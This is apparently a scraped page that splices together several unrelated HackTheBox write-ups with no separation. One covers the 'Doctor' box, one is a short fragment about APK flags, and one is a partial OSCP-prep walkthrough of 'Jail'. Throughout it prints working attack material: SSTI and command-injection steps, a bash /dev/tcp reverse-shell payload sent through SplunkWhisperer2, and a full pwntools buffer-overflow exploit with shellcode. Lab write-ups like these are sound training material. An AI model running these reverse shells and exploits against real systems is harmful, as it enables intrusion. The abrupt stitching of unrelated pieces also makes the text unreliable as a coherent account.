Doctor starts off with attacking a health service message board website where we discover two vulnerabilities, Server-side Template injection and Command injection both of which leads to initial foothold on the box. Next we discover the user has privileges to read logs, where we find a password sent over password reset url, resulting in gaining access to next user. For elevating privileges to root we exploit the Splunk Atom feed service using SplunkWhisperer2 to obtain root shell.
Reconnaissance
Initial port scan using masscan & nmap discovers three TCP ports 22, 80, 8089
masscan
1
2
3
4
5
6
7
8
9
10
cfx: ~/Documents/htb/doctor
→ masscan -e tun0 -p1-65535,u:1-65535 --rate 500 10.10.10.209 | tee masscan.ports
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-11-14 09:05:39 GMT
-- forced options: -sS-Pn-n--randomize-hosts-v--send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.209
Discovered open port 80/tcp on 10.10.10.209
Discovered open port 8089/tcp on 10.10.10.209
cfx: ~/Documents/htb/doctor
→ nmap -sC-sV-p22,80,8089 10.10.10.209
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-14 16:37 IST
Nmap scan report for 10.10.10.209
Host is up (0.076s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.88 seconds
Port Scan Summary:
Port 22 – SSH
Port 80 – HTTP Website
Port 8089 – Splunkd
Port 8089 – Splunkd
Visiting http://10.10.10.209:8089 we see it’s an Splunk Management page running Splunk Version as 8.0.5, apart from it we don’t find anything interesting since visiting the management options request basic HTTP AUTH and we don’t have any creds. So we can look into it later once we obtain some valid credential.
Port 80 – HTTP
Visiting http://10.10.10.209 we get presented with a health services website. While the links on the website are non functional we do see a note for sending message to info@doctors.htb
Adding doctors.htb to /etc/hosts and visiting http://doctors.htb redirects us to Doctor Secure Messaging login page located at doctors.htb/login?next=%2F
Basic SQLi didn’t work but we have a sign up option which allows us to create a account which is valid for 20 minutes.
Once logged in we see a empty page with some options to play around with:
Interestingly New Message presents a form with Title and Content field, once filled and posted it appears on the home page:
Visiting the source of the page we see an HTML comment referring to /archive which is in beta testing:
1
2
3
4
5
6
7
8
9
10
<divclass="navbar-nav mr-auto"><aclass="nav-item nav-link"href="/home">Home</a><!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>--></div><!-- Navbar Right Side --><divclass="navbar-nav"><aclass="nav-item nav-link"href="/post/new">New Message</a><aclass="nav-item nav-link"href="/account">Account</a><aclass="nav-item nav-link"href="/logout">Logout</a>
Server-Side Template Injection is possible when an attacker injects template directive as user input that can execute arbitrary code on the server. If you happen to view the source of a web page and see below code snippets then it is safe to guess that the application is using some template engine to render data.
Looking at Wappalyzer output we can see it’s running Python framework – Flask which uses Jinja2 template engine by default which can be vulnerable to SSTI.
I found this medium article which explains in detail on testing and exploiting SSTI.
Testing SSTI
PayloadsAllTheThings has a good image on methodology for testing SSTI:
For testing we’ll include payload inside both title and content to see how the site responds, unfortunately we don’t see anything like 49 or 4 on first attempt:
Second attempt didn’t work either:
Going nowhere I stumbled upon the archive page again where we can see something really interesting:
Apparently our SSTI did work for payloads and which confirms the template engine running is either Jinja2 which is the default engine for Flask or it can Twig.
Reverse Shell
Now that we are certain of SSTI we can grab the remote code execution payload from PayloadsAllTheThings and modify it with our IP/Port and changing the subprocess call to /bin/bash -i to drop us a reverse shell:
Inputting the above payload inside title and once posted, refreshing the http://doctors.htb/archive page drops us a reverse shell:
1
2
3
4
5
6
7
8
9
10
11
cfx: ~/Documents/htb/doctor
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 10.10.10.209.
Ncat: Connection from 10.10.10.209:45930.
bash: cannot set terminal process group (863): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$ id
uid=1001(web)gid=1001(web)groups=1001(web),4(adm)
Method 2: Command Injection
This is the unintended method to solve the box, originally I did solve the box using this method.
While testing for possible vectors leading to RCE, I was trying random XSS payloads to understand the website response so by sending a HTML injection payload inside the title and XSS payload in the content:
While both the payloads reflected as it is inside Posts, XSS payload inside content field did parse and we can observe a hit on the Python server:
1
2
3
4
5
6
cfx: ~/Documents/htb/doctor
→ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.209 - - [14/Nov/2020 19:18:32] code 404, message File not found
10.10.10.209 - - [14/Nov/2020 19:18:32] "GET /test HTTP/1.1" 404 -
10.10.10.209 - - [14/Nov/2020 19:20:08] code 404, message File not found
Although it’s not clear how the request was parsed at this point because the hit on the python server was received instantly as soon as post was submitted without any delay.
To see the complete request, we’ll change the port and send the payload again as <img src="http://10.10.14.27:8080/test" onerror=alert(1)> and observe the request on the nc listener:
cfx: ~/Documents/htb/doctor
→ nc -lvnp 8080
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 10.10.10.209.
Ncat: Connection from 10.10.10.209:32800.
GET /test HTTP/1.1
Host: 10.10.14.27:8080
User-Agent: curl/7.68.0
Accept: */*
Interestingly, it’s showing curl as the User-agent, it appears the content field is parsing the content directly via curl command.
On sending a simple web server link inside the content field we do see the hit again our python server, apparently there is no input validation and the content are directly parsed via Curl:
1
2
3
4
5
cfx: ~/Documents/htb/doctor
→ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.209 - - [14/Nov/2020 19:53:22] code 404, message File not found
10.10.10.209 - - [14/Nov/2020 19:53:22] "GET /cfx HTTP/1.1" 404 -
RCE test
Next, We’ll craft our payload as http://10.10.14.27/$(whoami) and submit the post again, instantly we see username as web:
Now that we have a working RCE, our next goal should be to get a reverse shell.
Although there are certain limitations to this method as sending complex reverse shell payloads was breaking the request as the payload didn’t like space so we have to use $IFS (Internal field separator) and we have to combine arguments with '
So instead of writing complex payloads, I decided to host a python3 reverse shell payload on the python server and call the reverse shell payload using wget and next run the script using bash:
cfx: ~/Documents/htb/doctor
→ nc -lvnp 8021
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8021
Ncat: Listening on 0.0.0.0:8021
Ncat: Connection from 10.10.10.209.
Ncat: Connection from 10.10.10.209:55492.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
$ python3 -c "import pty;pty.spawn('/bin/bash')"
web@doctor:~$
Elevating Priv: web -> shaun
Enumeration
Inside home directory we discover another user named shaun:
1
2
3
4
5
6
7
web@doctor:/home$ ls-lals-la
total 16
drwxr-xr-x 4 root root 4096 Sep 19 16:54 .
drwxr-xr-x 20 root root 4096 Sep 15 12:51 ..
drwxr-xr-x 6 shaun shaun 4096 Sep 15 12:51 shaun
drwxr-xr-x 7 web web 4096 Feb 14 16:47 web
user.txt is located inside shaun’s home directory and is only readable by shaun.
Next we find, Web user is a member of adm group which allows us to read log files in /var/log/ directory:
1
2
web@doctor:~$ id
uid=1001(web)gid=1001(web)groups=1001(web),4(adm)
Log files can be a good place to find forgotten or misplaced passwords, and the grep utility will
come in handy. It’s common for passwords to be accidentally entered into the username/email field.
Initial enumeration did reveal a splunkd service hosted on Port 8089 running version 8.0.5
On searching for Splunk Privilege escalation exploit we stumble upon SplunkWhisperer2 using which we can achieve privilege escalation or remote code execution
Root shell
We’ll clone the repo on our machine and run the Python script along with shaun’s creds:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cfx: ~/Documents/htb/doctor/SplunkWhisperer2/PySplunkWhisperer2 |master ✓|
→ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.27 --username shaun --password Guitar123 --payload"bash -c 'bash -i >& /dev/tcp/10.10.14.27/4444 0>&1'"
Running in remote mode (Remote Code Execution)[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpq0qs909h.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.27:8181/
10.10.10.209 - - [14/Nov/2020 21:48:42] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!
Getting a callback on nc listener:
1
2
3
4
5
6
7
8
9
10
11
12
13
cfx: ~/Documents/htb/doctor
→ nc -lvnp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.209.
Ncat: Connection from 10.10.10.209:42392.
bash: cannot set terminal process group (1143): Inappropriate ioctl for device
bash: no job control in this shell
root@doctor:/# id
uid=0(root)gid=0(root)groups=0(root)
root@doctor:/# whoami
root
Going to the login page presents a pin protected login, after brute forcing i got no where. Then I noticed a .apk file download. Looks like we need to reverse engineer the apk.
(This was not the case but i left this here for information purpouses)
Then open a webpage to be presented with the tools interface where you can now upload an android file to be inspected.
Drag and drop the JunoClient.apk file onto the webpage to start the analysis.
Having already manually tring to do this, I had decompiled the apk file and already seen parts of the code I thought would be a good start.
Namily FLAG43 (seen in the code base) and youknowhat variables.
Using search on the webpage I qucklyu found them both.
*Cut off on purpous
FLAG 43 = c1d93b510b8f78d2b4f3336022618d8c5b04b27e
With the correct pin we can now log in to the webpage.
We are presented with the last 2 flags.
Flag
Value
Encoded
Flag44
022642b57e3eaa4daee6dec155b991f8fae58925
No
Flag45
e;;h:6i:ej769gj54<=ie=h9:66<hj=9=4f5g7::
Yes
One is encoded the other is not. For the encoded one, I worked out that the ASCII shift cypher is being used so we can decompile it.
Then grab the last flag from the box!
This is the 45th blog out of a series of blogs I will be publishing on retired HTB machines in preparation for the OSCP. The full list of OSCP like machines compiled by TJ_Null can be found here.
Let’s get started!
Reconnaissance
Run the nmapAutomator script to enumerate open ports and services running on those ports.
./nmapAutomator.sh 10.10.10.34 All
All: Runs all the scans consecutively.
Running all scans on 10.10.10.34Host is likely running Linux---------------------Starting Nmap Quick Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:46 EDT
Nmap scan report for 10.10.10.34
Host is up (0.044s latency).
Not shown: 996 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfsNmap done: 1 IP address (1 host up) scanned in 6.21 seconds---------------------Starting Nmap Basic Scan---------------------Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:47 EDT
Nmap scan report for 10.10.10.34
Host is up (0.043s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
| ssh-hostkey:
| 2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)
| 256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)
|_ 256 6b:f8:dc:27:4f:1c:89:67:a4:67:c5:ed:07:53:af:97 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2-4 (RPC #100000)
....
2049/tcp open nfs_acl 3 (RPC #100227)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.43 seconds----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:47 EDT
Warning: 10.10.10.34 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.34
Host is up (0.038s latency).
Not shown: 952 open|filtered ports, 47 filtered ports
PORT STATE SERVICE
111/udp open rpcbindNmap done: 1 IP address (1 host up) scanned in 41.31 secondsMaking a script scan on UDP ports: 111
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:47 EDT
Nmap scan report for 10.10.10.34
Host is up (0.14s latency).PORT STATE SERVICE VERSION
111/udp open rpcbind 2-4 (RPC #100000)
....Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.23 seconds---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:47 EDT
Initiating Parallel DNS resolution of 1 host. at 14:47
Completed Parallel DNS resolution of 1 host. at 14:47, 0.02s elapsed
Initiating SYN Stealth Scan at 14:47
Scanning 10.10.10.34 [65535 ports]
....
Nmap scan report for 10.10.10.34
Host is up (0.048s latency).
Not shown: 65529 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
7411/tcp open daqstream
20048/tcp open mountdRead data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 262.21 seconds
Raw packets sent: 130962 (5.762MB) | Rcvd: 270 (19.244KB)Making a script scan on extra ports: 7411, 20048
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:52 EDT
Nmap scan report for 10.10.10.34
Host is up (0.039s latency).PORT STATE SERVICE VERSION
7411/tcp open daqstream?
....
20048/tcp open mountd 1-3 (RPC #100005)
....Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 162.53 seconds---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on all ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:54 EDT
Nmap scan report for 10.10.10.34
Host is up (0.063s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
|_http-server-header: Apache/2.4.6 (CentOS)
| vulners:
| cpe:/a:apache:http_server:2.4.6:
|_ CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
111/tcp open rpcbind 2-4 (RPC #100000)
....
2049/tcp open nfs_acl 3 (RPC #100227)
7411/tcp open daqstream?
....
20048/tcp open mountd 1-3 (RPC #100005)
....Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 167.98 secondsRunning Vuln scan on all ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 14:57 EDT
Nmap scan report for 10.10.10.34
Host is up (0.26s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
....
111/tcp open rpcbind 2-4 (RPC #100000)
....
2049/tcp open nfs_acl 3 (RPC #100227)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
7411/tcp open daqstream?
....
20048/tcp open mountd 1-3 (RPC #100005)
....Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 213.13 seconds---------------------Recon Recommendations----------------------Web Servers Recon:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -l -t 30 -e -k -x .html,.php -u http://10.10.10.34:80 -o recon/gobuster_10.10.10.34_80.txt
nikto -host 10.10.10.34:80 | tee recon/nikto_10.10.10.34_80.txtWhich commands would you like to run?
All (Default), gobuster, nikto, Skip <!>Running Default in (1) s:---------------------Running Recon Commands----------------------Starting gobuster scan
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.34:80
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Show length: true
[+] Extensions: html,php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/03/08 15:01:50 Starting gobuster
===============================================================
http://10.10.10.34:80/.hta (Status: 403) [Size: 206]
http://10.10.10.34:80/.hta.html (Status: 403) [Size: 211]
http://10.10.10.34:80/.hta.php (Status: 403) [Size: 210]
http://10.10.10.34:80/.htaccess (Status: 403) [Size: 211]
http://10.10.10.34:80/.htaccess.html (Status: 403) [Size: 216]
http://10.10.10.34:80/.htaccess.php (Status: 403) [Size: 215]
http://10.10.10.34:80/.htpasswd (Status: 403) [Size: 211]
http://10.10.10.34:80/.htpasswd.html (Status: 403) [Size: 216]
http://10.10.10.34:80/.htpasswd.php (Status: 403) [Size: 215]
http://10.10.10.34:80/cgi-bin/ (Status: 403) [Size: 210]
http://10.10.10.34:80/cgi-bin/.html (Status: 403) [Size: 215]
http://10.10.10.34:80/index.html (Status: 200) [Size: 2106]
http://10.10.10.34:80/index.html (Status: 200) [Size: 2106]
===============================================================
2020/03/08 15:04:14 Finished
===============================================================Finished gobuster scan
=========================
Starting nikto scan
- Nikto v2.1.6
--------------------------------------------------------------------
+ Target IP: 10.10.10.34
+ Target Hostname: 10.10.10.34
+ Target Port: 80
+ Start Time: 2020-03-08 15:04:16 (GMT-4)
--------------------------------------------------------------------
+ Server: Apache/2.4.6 (CentOS)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ERROR: Error limit (20) reached for host, giving up. Last error:
+ Scan terminated: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2020-03-08 15:13:08 (GMT-4) (532 seconds)
--------------------------------------------------------------------
+ 1 host(s) testedFinished nikto scan
=========================
---------------------Finished all Nmap scans---------------------
We have 6 ports open.
Port 22: running OpenSSH 6.6.1
Ports 80: running Apache httpd 2.4.6
Port 111: running rpcbind 2–4
Ports 2049: running NFS
Port 20048: running NFS mount daemon
Port 7411: running daqstream
Before we move on to enumeration, let’s make some mental notes about the scan results.
The version of OpenSSH running on port 22 is not vulnerable to any RCE exploits, so it’s unlikely that we gain initial access through this service, unless we find credentials.
The nikto and gobuster scans didn’t find any useful results for the web server running on port 80. So we might have to run more comprehensive scans.
The ports for NFS are open. We’ll have to check if there is any mountable directories and the permissions set on those directories. This is the first machine I work on that has the NFS service open, so this will be interesting!
Nmap was uncertain about the service categorization for port 7411. We’ll have to connect to it ourself using netcat and see the output that it gives us.
Enumeration
I always start off with enumerating HTTP.
Port 80 — HTTP
Visit the application in the browser.
Viewing the page source doesn’t give us anything useful. Let’s run a more comprehensive gobuster scan with a larger word list.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.34 -o gobuster-medium.txt
— no-parent: do not ascend to the parent directory when retrieving recursively
— reject: file name suffixes to reject
-r: recursive
View the content of compile.sh.
gcc -o jail jail.c -m32 -z execstack
service jail stop
cp jail /usr/local/bin/jail
service jail start
The above script takes in the jail.c file, compiles it and outputs the file jail. Then it starts up the service. Notice that while it is compiling the file it sets the flag execstack which means that it is an executable stack. It’s very likely that we’re dealing with a buffer overflow here.
The program runs on port 7411 (that’s the port that nmap was not able to identify) and takes in as input a username and password. The input goes in the form of USER <username> and PASS <password>.
There are hardcoded credentials in the code: admin/1974jailbreak!. It doesn’t look like the application performs any useful functionality when using these credentials.
There is a debug option that outputs the memory address of the variable userpass.
The userpass field is vulnerable to a buffer overflow. We can see that it is allocated 16 bytes, however no input validation is done on the strcpy function and we can input up to 256 bytes.
Port 7411 — Jail
Let’s connect to the jail application and test out the credentials we found.
root@kali:~# nc 10.10.10.34 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
OK Authentication success. Send command.
ls
ERR Invalid command.
It doesn’t look it really does anything useful. Let’s test out the debug mode.
root@kali:~# nc 10.10.10.34 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER bla
OK Send PASS command.
PASS bla
Debug: userpass buffer @ 0xffffd610
ERR Authentication failed.
As mentioned earlier, it does give us the memory address for userpass which is the buffer overflow-able parameter.
Initial Foothold
To gain an initial foothold on the box, we’ll attempt to exploit the buffer overflow vulnerability.
Step #1: Crash the application (fuzzing)
The first step is to prove that the application is vulnerable to a buffer overflow. This can be done by sending a large number of characters as an argument to the application until it crashes. This is known as fuzzing.
Since the buffer is set to 16, we’ll need to use a number of characters larger than 16. Let’s go with 40. Use python to generate a string of 40 As.
gef➤ run
Starting program: /root/Desktop/htb/jail/dev/10.10.10.34/jailuser/dev/jail
On a different tab, connect to the service.
root@kali:~# nc localhost 7411
OK Ready. Send USER command.
Notice that we get a message in GDB telling us that the the process was detached after a fork from the child process. We can fix that by setting the following commands in GDB.
gef➤ set follow-fork-mode child
gef➤ set detach-on-fork off
Now run the program again and connect to it using netcat.
nc localhost 7411
We get the following output in GDB.
gef➤ run
Starting program: /root/Desktop/htb/jail/dev/10.10.10.34/jailuser/dev/jail
[Attaching after process 11091 fork to child process 11096]
[New inferior 2 (process 11096)]
Perfect, it’s working properly right now. Next, add the username and password parameters.
root@kali:~# nc localhost 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
We get a segmentation fault in GDB.
Looking at the output, we can see that we successfully overwrote the EIP (Extended Instruction Pointer) / return address with 4 As, therefore, confirming that the application is vulnerable to buffer overflow.
Step #2: Determine the security protections that are enabled on the application
This can be done using the “checksec” command.
We can see that PIE is enabled which stands for Position Independent Executable. This means that the memory locations will change every time you run the application. This makes exploiting buffer overflows harder. However, remember there was a DEBUG parameter that gave us the location of the buffer overflow-able field userpass. So we don’t have to worry about figuring out a way to find this memory address.
Step #3: Finding the offset
In step #1 we proved that we can overwrite the EIP by seeing that it was overwritten by a bunch of As. The next step is to find the exact memory address of the EIP. This can be done using pattern create.
gef➤ pattern create 40
[+] Generating a pattern of 40 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
[+] Saved as '$_gef0'
Now perform step #1 again with the above password string. Make sure to use the DEBUG option.
root@kali:~# nc localhost 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
Debug: userpass buffer @ 0xffffcb50
We get a segmentation error.
The EIP was overwritten with the string “haaa”. To find exact memory address of the EIP, use the following command.
gef➤ pattern search 0x61616168
[+] Searching '0x61616168'
[+] Found at offset 28 (little-endian search) likely
[+] Found at offset 25 (big-endian search)
Perfect, the offset is 28.
Step #4: Finding Bad Characters
I originally didn’t do this step which caused me a lot of wasted time and the reason for that will become obvious in the next couple of steps. Looking at the code, we see that the characters “\x00” and “\n” are bad characters. By default, the null byte “x00” is always considered a bad character. The issue we face is with the “\n” new line character which is represented by an A (“\x0A”) in hex. And an “A” in decimal is a “10”. See where the problem is?
Our kali machine IP address has a 10 in it so any shell code that contains a reverse shell back to our kali machine will not work.
Step #5: Generating Shell code
The next step would be to generate the reverse shell code. Again, I hadn’t enumerated the bad characters when I first tried to solve this box and therefore I used the following msfvenom command to send a reverse shell back to my attack machine.
Notice the “\x0a” added for my ip address that caused my exploit not to work. To bypass that restriction we’ll make use of socket reuse. We can simply grab the socket reuse shellcode on exploitdb instead of having to write our own.
We have all the necessary information we need to write out our exploit. I use pwn tools to automate the process.
from pwn import *# initial configuration
context(os="linux", arch="i386")
host = "localhost"
port = "7411"# offset, junk to get to the EIP
junk = "A" * 28# userpass leaked memory address
memory_add = p32(0xff802090+32)# socket reuse shell code
buf = ""
buf += "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf += "\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf += "\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf += "\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf += "\x89\xe3\x31\xc9\xcd\x80"# connection
p = remote(host,port)
p.recvuntil("OK Ready. Send USER command.")
p.sendline("DEBUG")
p.recvuntil("OK DEBUG mode on.")
p.sendline("USER admin")
p.recvuntil("OK Send PASS command.")
p.sendline("PASS " + junk + memory_add + buf)p.interactive()
Run the exploit and we get a shell!
root@kali:~/Desktop/htb/jail# python jail.py
[+] Opening connection to localhost on port 7411: Done
[*] Switching to interactive modeDebug: userpass buffer @ 0xff802090
$ id
uid=0(root) gid=0(root) groups=0(root)
Now to test it on the Jail box, change the host to the ip address of Jail and the memory_add to the one that gets leaked when you connect to the jail application.
root@kali:~/Desktop/htb/jail# python jail-prod.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
[*] Switching to interactive modeDebug: userpass buffer @ 0xffffd610
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
We’re in!
Privilege Escalation
Setting the difficulty of this box to Insane was not an overstatement. In order to root the box, we’ll have to pivot to two other users before we can escalate our privileges to root.
nobody -> frank
Let’s first upgrade our non-interactive shell to a partially interactive one.
python -c 'import pty; pty.spawn("/bin/bash")'
Next, visit the home directory and view the permissions on the content of the directory.
bash-4.2$ cd home
cd homebash-4.2$ ls -la
ls -la
total 4
drwxr-xr-x. 3 root root 19 Jun 25 2017 .
dr-xr-xr-x. 17 root root 224 Jun 25 2017 ..
drwx------. 17 frank frank 4096 Jun 28 2017 frank
The user.txt flag is probably in the frank directory. However, as stated by the permissions set on the directory, only the owner frank can view the content of the directory.
Next, let’s learn more about the OS.
bash-4.2$ uname -a
uname -a
Linux localhost.localdomain 3.10.0-514.26.1.el7.x86_64 #1 SMP Thu Jun 29 16:05:25 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
View the list of allowed sudo commands the user can run.
We’re allowed to run the logreader.sh file as the user frank without having to enter frank’s password.
View the permissions on the directory.
bash-4.2$ ls -la /opt | grep logreader
ls -la /opt | grep logreader
drwxr-x---+ 2 root root 26 Jun 26 2017 logreader
We don’t have any permissions. Next, let’s run the logreader.sh file.
We don’t get anything useful. Let’s move on. The nmap scan showed that the NFS ports were open and we never enumerated that service.
Going back to the attack machine, we can enumerate NFS services using NSE scripts.
Run the NSE scripts.
nmap -p 111 --script nfs* 10.10.10.34
We get back the following result.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 21:31 EDT
Nmap scan report for 10.10.10.34
Host is up (0.056s latency).PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /opt
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 0 0 33 2017-06-26T00:00:59 .
| r-xr-xr-x 0 0 224 2017-06-25T10:43:12 ..
| rwxr-x--- 0 0 26 2017-06-26T13:50:21 logreader
| rwxr-xr-x 0 0 6 2015-03-26T13:22:14 rh
|_
| nfs-showmount:
| /opt *
|_ /var/nfsshare *Nmap done: 1 IP address (1 host up) scanned in 5.16 seconds
We can also enumerate this manually using the showmount command.
root@kali:~/Desktop/htb/jail/nfs# showmount -e 10.10.10.34
Export list for 10.10.10.34:
/opt *
/var/nfsshare *
As shown above, we have two folders that we can mount to our attack machine. First create the directories opt and var.
mkdir opt
mkdir var
Next, mount the NFS directories.
mount -t nfs 10.10.10.34:/opt opt
mount -t nfs 10.10.10.34:/var/nfsshare var
Let’s view the permissions on the directories.
root@kali:~/Desktop/htb/jail/nfs# ls -la
total 8
drwxr-xr-x 4 root root 4096 Mar 10 23:18 .
drwxr-xr-x 7 root root 4096 Mar 11 01:49 ..
drwxr-xr-x 4 root root 33 Jun 25 2017 opt
drwx-wx--x 2 root 1000 77 Mar 11 09:37 var
The opt directory can be read and executed by anybody. View the content and permissions of the files in the opt directory.
root@kali:~/Desktop/htb/jail/nfs# cd opt
root@kali:~/Desktop/htb/jail/nfs/opt# ls -la
total 4
drwxr-xr-x 4 root root 33 Jun 25 2017 .
drwxr-xr-x 4 root root 4096 Mar 10 23:18 ..
drwxr-x--- 2 root root 26 Jun 26 2017 logreader
drwxr-xr-x 2 root root 6 Mar 26 2015 rh
We see the logreader directory that contains the logreader.sh file that we can execute as frank without a password. Let’s try and enter the directory.
root@kali:~/Desktop/htb/jail/nfs/opt# cd logreader
bash: cd: logreader: Permission deniedroot@kali:~/Desktop/htb/jail/nfs/opt# id
uid=0(root) gid=0(root) groups=0(root)
We get a permission denied although our attack machine is running with the root id. This leads us to believe that root squashing is in place, which is default configuration for NFS. So not at all surprising. We’ll confirm that in a bit on the target machine.
